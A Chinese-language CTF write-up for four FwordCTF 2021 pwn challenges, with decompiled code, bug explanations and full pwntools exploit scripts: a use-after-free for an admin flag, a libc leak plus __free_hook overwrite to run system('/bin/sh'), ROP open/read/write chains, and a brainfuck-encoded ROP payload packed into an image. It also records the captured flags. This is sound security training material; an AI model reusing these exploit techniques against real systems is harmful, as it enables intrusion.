FwordCTF 2021 pwn类型题目WriteUp

FwordCTF

Chhili

create 时共有三次malloc操作,其中两次malloc的大小为0x10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_QWORD *__usercall create@<rax>(__int64 a1@<rbp>)
{
_QWORD *result; // rax
signed int size; // [rsp-A4h] [rbp-A4h]
_QWORD *v3; // [rsp-A0h] [rbp-A0h]
__int64 v4; // [rsp-98h] [rbp-98h]
unsigned __int64 v5; // [rsp-10h] [rbp-10h]
__int64 v6; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v6 = a1;
v5 = __readfsqword(0x28u);
v3 = malloc(0x10uLL);
puts("size : ");
printf(">> ");
__isoc99_scanf("%d", &size);
if ( size > 0 && size <= 0x7F )
{
LODWORD(mySize) = size;
puts("data : ");
printf(">> ", &size);
read(0, &v4, (unsigned int)size);
*v3 = malloc(size);
v3[1] = malloc(0x10uLL);
strcpy((char *)*v3, (const char *)&v4);
}
result = v3;
myChunk = v3;
return result;
}

delete函数中free后没有将指针清零,存在UAF。

1
2
3
4
5
6
7
8
9
void delete()
{
__asm { endbr64 }
if ( myChunk )
{
free(*(void **)myChunk);
free(myChunk);
}
}

edit函数在编辑前并没有检查堆块是否已经被释放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssize_t edit()
{
ssize_t result; // rax
__int64 v1; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
result = *(_QWORD *)myChunk;
if ( *(_QWORD *)myChunk )
{
puts("data : ");
printf(">> ", v1);
result = read(0, *(void **)myChunk, (unsigned int)mySize);
}
return result;
}

结合以上三个功能不难想出利用过程

  • 首先malloc(0x10),然后free掉
  • 此时bin里的结构应该是两个0x20大小的chunk
  • 然后做一次edit操作,将第二个chunk的内容修改成admin
  • 最后malloc一次大于0x10的操作,使得我们上步编辑的第二个chunk刚好为新堆块的第二个chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'
# p = process('./chhili')
p = remote('40.71.72.198',1234)

sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)

sla('>> ','1')
sla('>> ','16')
sla('>> ','AAAA')

sla('>> ','2')

sla('>> ','3')
sda('>> ','admin')

sla('>> ','1')
sla('>> ','64')
sla('>> ','AAAA')

sla('>> ','4')
# gdb.attach(p)
# FwordCTF{th1s_will_b3_your_f1rSt_st3p_481364972164}
p.interactive()

Notes

(看到2.27 我笑了

create的时候是往栈上写数据,然后copy到heap的。在strcpy调用之前还调用了strlen,这时输入的内容只要不包含’\x00’,并且刚好能够连到栈上某个libc指针最低位,那么就可以将栈上残留的指针,给一并cpy到堆上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int create()
{
size_t nbytes; // [rsp+8h] [rbp-98h]
char buf[136]; // [rsp+10h] [rbp-90h]
unsigned __int64 v3; // [rsp+98h] [rbp-8h]

v3 = __readfsqword(0x28u);
HIDWORD(nbytes) = read_index();
if ( HIDWORD(nbytes) == -1 || notes[SHIDWORD(nbytes)] )
return puts("wrong index");
puts("size : ");
printf(">> ");
__isoc99_scanf("%d", &nbytes);
if ( (signed int)nbytes <= 0 || (signed int)nbytes > 0x8F )
return puts("That's too much !");
notes[SHIDWORD(nbytes)] = (char *)malloc((signed int)nbytes);
puts("content : ");
printf(">> ", &nbytes);
read(0, buf, (unsigned int)nbytes);
buf[strlen(buf) - 1] = 0;
return (unsigned __int64)strcpy(notes[SHIDWORD(nbytes)], buf);
}

delete中存在uaf

1
2
3
4
5
6
7
8
9
10
11
12
int delete()
{
int result; // eax

result = read_index();
if ( result != -1 )
{
free(notes[result]); // use after free
result = puts("note deleted");
}
return result;
}

利用过程:

  • 用create的漏洞将栈上的数据带到heap
  • 程序自带的show功能泄露libc
  • uaf改指针,__free_hook改成system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python
# author:ssta
from pwn import *
# context.arch = 'amd64'
context.log_level='debug'
# context.binary = ''

file_name = './Notes'
local = 1
ip = '40.71.72.198'
port = 1235
elf = ELF(file_name)
libc = ELF('libc-2.27.so')#

sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)
sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)
rud = lambda x : p.recvuntil(x,drop=True)
ru = lambda x : p.recvuntil(x)
rc = lambda x : p.recv(x)
rl = lambda : p.recvline()
li = lambda name,x : log.info(name+':'+hex(x))
ls = lambda name,x : log.success(name+':'+hex(x))
pi = lambda : p.interactive()
pcls = lambda : p.close()

# define interactive function
def add(idx,size,content):
sla('>> ',str(1))
sla('>> ',str(idx))
sla('>> ',str(size))
sda('>> ',content)

def edit(idx,content):
sla('>> ',str(3))
sla('>> ',str(idx))
sda('>> ',content)

def show(idx):
sla('>> ',str(4))
sla('>> ',str(idx))

def free(idx):
sla('>> ',str(2))
sla('>> ',str(idx))

# start pwn
def pwn():
global p
global libc
global elf

if args.R:
p = remote(ip,int(port))
else:
p = process(file_name)

add(0,0x80,'A'*8)
show(0)
ru('A'*8)
libc.address = u64(ru('\n').replace('\n','\x7f').ljust(8,'\x00'))-0x3ec760
ls('libc',libc.address)

add(1,0x80,'B'*0x80)
add(2,0x80,'C'*0x80)


free(1)
free(2)
# free(0)

# add(2,0x80,p64(libc.sym['__free_hook'])[:6]+'a')
# add(3,0x80,'/bin/sh;')
# add(4,0x80,'hack1337')

edit(2,p64(libc.sym['__free_hook'])[:6])
add(3,0x80,'/bin/sh;s')
add(4,0x80,p64(libc.sym['system'])[:6]+'a')
# gdb.attach(p)
free(3)

# FwordCTF{i_l0V3_ru5tY_n0tEs_7529271026587478}
pi()

if __name__ == '__main__':
pwn()

Blacklist Revenge

这个题是静态编译的,gadget比较全。但是禁用掉了execve调用,只能orw来读flag~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from struct import pack
context.log_level = 'debug'

# p = process('./blacklist')
p = remote('40.71.72.198','1236')
elf = ELF('./blacklist')

pop_rsi = 0x00000000004028b8 #: pop rsi ; ret
pop_rdi = 0x00000000004018ca # : pop rdi ; ret
pop_rdx = 0x00000000004017cf #: pop rdx ; ret
# 0x0000000000414e53 : pop rax ; ret
# 0x000000000040edb8 : push rax ; ret
# 0x0000000000457aae : push rcx ; ret
# 0x000000000043ad5e : push rdi ; ret
# 0x0000000000457a09 : push rsi ; ret

payload = 'A'*72

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(0x00000000004dd0e0)
payload += p64(pop_rdx)
payload += p64(50)
payload += p64(elf.sym['read'])

payload += p64(pop_rdi)
payload += p64(0x00000000004dd0e0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(elf.sym['open'])

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(0x00000000004dd0e0+40)
payload += p64(pop_rdx)
payload += p64(100)
payload += p64(elf.sym['read'])

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(0x00000000004dd0e0+40)
payload += p64(pop_rdx)
payload += p64(100)
payload += p64(elf.sym['write'])

flagstr = '/home/fbi/flag.txt'

# gdb.attach(p)
p.sendline(payload)
sleep(3)
p.send(flagstr)
# FwordCTF{you_aRe_aw3s0Me_!_you_d1d_i7_again_th1s_Ye4r}
p.interactive()

Peaky & the Brain

这个题我觉得是最有意思的,作者将一个brainfuck的解释器当做了题目,有趣的是要将bf的代码转换成像素,生成图片,然后上传到服务端,服务端会将图片重新还原成bf代码,交给解释器去执行,然后pwn掉它

// 这个去看一下brainfuck解释器的源码很容易就理解,本质上就是对指针的操作:指向某个位置、改变值、重复~

不过有一点我么有搞懂为什么第二个参数的位置是固定的(gdb看是在堆空间)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from PIL import Image
context.arch='amd64'
context.log_level='debug'


elf = ELF('./interpreter')

pop_rdi = 0x00000000004018da # : pop rdi ; ret
pop_rdx = 0x00000000004017df #: pop rdx ; ret
pop_rsi = 0x0000000000402a38 #: pop rsi ; ret
text_addr = 0x4e5360


payload = p64(pop_rdi)
payload += p64(text_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(elf.sym['open'])

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(text_addr+0x10)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(elf.sym['read'])

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(text_addr+0x10)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(elf.sym['write'])

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(elf.sym['exit'])

bf = '>' * 0x78
for i in payload:
bf += '[-]'+'+'*ord(i)+'>'

print bf
print len(bf)


colors = {
'>':(255,0,0) ,
'.':(0,255,0) ,
'<':(0,0,255) ,
'+':(255,255,0) ,
'-':(0,255,255) ,
'[':(255,0,188) ,
']':(255,128,0) ,
',':(102,0,204)
}

h = 78
w = 78

img = Image.new('RGB',(w,h))
img_arr = []

for pixel in bf:
img_arr.append(colors[pixel])

# input()
i = 0
for y in range(h):
for x in range(w):
if i==len(img_arr):
break
img.putpixel((x,y),img_arr[i])
i += 1
print i


img.save('poc.png')

# FwordCTF{Y0u_took_0v3r_thE_WorLd!_fe4f604a7fdd86e}

(黄色是poc.png

poc.png